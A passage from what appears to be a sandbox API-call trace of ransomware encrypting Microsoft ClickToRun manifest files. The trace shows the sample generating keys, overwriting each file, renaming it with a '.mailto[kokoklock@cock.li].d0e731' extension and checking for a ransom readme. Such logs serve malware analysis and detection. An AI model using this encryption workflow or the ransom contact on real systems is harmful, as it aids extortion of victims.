"c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.240] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0074.241] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", dwFileAttributes=0x20) returned 0 [0074.241] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0074.241] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.241] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.241] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0074.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34236d0) returned 1 [0074.241] RtlExitUserThread (Status=0x1) Thread: id = 626 os_tid = 0xdbc [0074.207] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml")) returned 0x20 [0074.220] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", dwFileAttributes=0x20) returned 1 [0074.221] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x944 [0074.221] GetFileSizeEx (in: hFile=0x944, lpFileSize=0x186bfae4 | out: lpFileSize=0x186bfae4*=24558) returned 1 [0074.221] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x5fea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.221] ReadFile (in: hFile=0x944, lpBuffer=0x186bfab8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x186bfab4, lpOverlapped=0x0 | out: lpBuffer=0x186bfab8*, lpNumberOfBytesRead=0x186bfab4*=0x4, lpOverlapped=0x0) returned 1 [0074.227] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0074.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1e0 [0074.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e140 [0074.227] NtQuerySystemTime (in: CurrentTime=0x186bfa90 | out: CurrentTime=0x186bfa90*=132121176321127717) returned 0x0 [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x43949de9 [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x268046fe [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x153426cd [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x735a14c0 [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xbab2801b [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xe2e240a8 [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x5166be01 [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xa0b7746f [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xe0139a8d [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xb83ba185 [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xbb084d6 [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x24a18843 [0074.227] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xfb29d1c8 [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xc0adb6e9 [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xbc41b38f [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x3d4c6e1a [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x778ade00 [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x920d02a1 [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xaf849c01 [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x8e170b9d [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x56808e64 [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x584f24f0 [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xb4d2ed5 [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xd7fa935e [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x2a823614 [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x4a224cb [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x54605eea [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x5931966b [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x5c4c4d7f [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x402fb593 [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0xa18c2b3f [0074.228] RtlRandom (in: Seed=0x186bfa9c | out: Seed=0x186bfa9c) returned 0x990c35d2 [0074.239] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.239] ReadFile (in: hFile=0x944, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x186bfa68, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x186bfa68*=0x4096, lpOverlapped=0x0) returned 1 [0074.242] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdb38 [0074.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.243] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.243] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e258 [0074.243] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0074.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e208) returned 1 [0074.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0074.243] WriteFile (in: hFile=0x944, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x186bfa68, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x186bfa68*=0x4096, lpOverlapped=0x0) returned 1 [0074.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.244] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x5fee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.244] WriteFile (in: hFile=0x944, lpBuffer=0x341e258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x186bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x341e258*, lpNumberOfBytesWritten=0x186bfaa0*=0x20, lpOverlapped=0x0) returned 1 [0074.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e258) returned 1 [0074.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.244] WriteFile (in: hFile=0x944, lpBuffer=0x341e168*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x186bfab4, lpOverlapped=0x0 | out: lpBuffer=0x341e168*, lpNumberOfBytesWritten=0x186bfab4*=0x8, lpOverlapped=0x0) returned 1 [0074.244] WriteFile (in: hFile=0x944, lpBuffer=0x186bfacc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x186bfab4, lpOverlapped=0x0 | out: lpBuffer=0x186bfacc*, lpNumberOfBytesWritten=0x186bfab4*=0x4, lpOverlapped=0x0) returned 1 [0074.244] WriteFile (in: hFile=0x944, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x186bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x186bfab4*=0x4, lpOverlapped=0x0) returned 1 [0074.244] WriteFile (in: hFile=0x944, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x186bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x186bfab4*=0x6c, lpOverlapped=0x0) returned 1 [0074.244] WriteFile (in: hFile=0x944, lpBuffer=0x341e1e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x186bfab4, lpOverlapped=0x0 | out: lpBuffer=0x341e1e0*, lpNumberOfBytesWritten=0x186bfab4*=0x20, lpOverlapped=0x0) returned 1 [0074.244] WriteFile (in: hFile=0x944, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x186bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x186bfab4*=0x4, lpOverlapped=0x0) returned 1 [0074.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1e0) returned 1 [0074.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e4d8) returned 1 [0074.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0074.245] CloseHandle (hObject=0x944) returned 1 [0074.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x136) returned 0x341da40 [0074.245] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" [0074.245] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731" [0074.245] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.246] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0074.246] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", dwFileAttributes=0x20) returned 0 [0074.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0074.246] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.246] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.246] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0074.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34237d0) returned 1 [0074.246] RtlExitUserThread (Status=0x1) Thread: id = 627 os_tid = 0xcf8 [0074.247] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml")) returned 0x20 [0074.247] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0074.248] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x944 [0074.248] GetFileSizeEx (in: hFile=0x944, lpFileSize=0x1873fc80 | out: lpFileSize=0x1873fc80*=2042) returned 1 [0074.248] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x7f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.248] ReadFile (in: hFile=0x944, lpBuffer=0x1873fc54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1873fc50, lpOverlapped=0x0 | out: lpBuffer=0x1873fc54*, lpNumberOfBytesRead=0x1873fc50*=0x4, lpOverlapped=0x0) returned 1 [0074.249] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e168 [0074.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e410 [0074.250] NtQuerySystemTime (in: CurrentTime=0x1873fc2c | out: CurrentTime=0x1873fc2c*=132121176321440398) returned 0x0 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xeb7a35e5 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x903fa476 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xa30fdcfc [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x9d1b7118 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x223c4305 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x957a9c98 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xf09a621c [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x72951dda [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x39f295d7 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x7a106eb6 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xa285b3f2 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x17870a25 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xc9faaf65 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x10eedb2f [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x1e0f9557 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x8d0faced [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xe61e257b [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x5b3106a [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xe468beda [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xb67653d [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xa33e947f [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x2817cc98 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x6801d796 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x38ab8529 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xe253c2ff [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xadfd3c11 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x5cf27fbb [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0xd1141a25 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x86b3c357 [0074.250] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x45a30a9e [0074.251] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x85da3b5b [0074.251] RtlRandom (in: Seed=0x1873fc38 | out: Seed=0x1873fc38) returned 0x19a10b4 [0074.261] ReadFile (in: hFile=0x944, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x7fa, lpNumberOfBytesRead=0x1873fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1873fc2c*=0x7fa, lpOverlapped=0x0) returned 1 [0074.262] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1873fbf4 | out: lpNewFilePointer=0x0) returned 1 [0074.262] WriteFile (in: hFile=0x944, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x7fa, lpNumberOfBytesWritten=0x1873fc28, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1873fc28*=0x7fa, lpOverlapped=0x0) returned 1 [0074.262] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e168 [0074.262] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e438 [0074.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e438) returned 1 [0074.262] WriteFile (in: hFile=0x944, lpBuffer=0x341e168*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1873fc24, lpOverlapped=0x0 | out: lpBuffer=0x341e168*, lpNumberOfBytesWritten=0x1873fc24*=0x20, lpOverlapped=0x0) returned 1 [0074.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0074.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.262] WriteFile (in: hFile=0x944, lpBuffer=0x341e1e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1873fc50, lpOverlapped=0x0 | out: lpBuffer=0x341e1e0*, lpNumberOfBytesWritten=0x1873fc50*=0x8, lpOverlapped=0x0) returned 1 [0074.262] WriteFile (in: hFile=0x944, lpBuffer=0x1873fc68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1873fc50, lpOverlapped=0x0 | out: lpBuffer=0x1873fc68*, lpNumberOfBytesWritten=0x1873fc50*=0x4, lpOverlapped=0x0) returned 1 [0074.262] WriteFile (in: hFile=0x944, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1873fc50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1873fc50*=0x4, lpOverlapped=0x0) returned 1 [0074.262] WriteFile (in: hFile=0x944, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1873fc50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1873fc50*=0x6c, lpOverlapped=0x0) returned 1 [0074.263] WriteFile (in: hFile=0x944, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1873fc50, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x1873fc50*=0x20, lpOverlapped=0x0) returned 1 [0074.263] WriteFile (in: hFile=0x944, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1873fc50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1873fc50*=0x4, lpOverlapped=0x0) returned 1 [0074.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e208) returned 1 [0074.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1e0) returned 1 [0074.263] CloseHandle (hObject=0x944) returned 1 [0074.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12c) returned 0x341da40 [0074.263] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" [0074.263] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0074.263] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.264] SetFileAttributesW (lpFileName="C:\\Users\\All 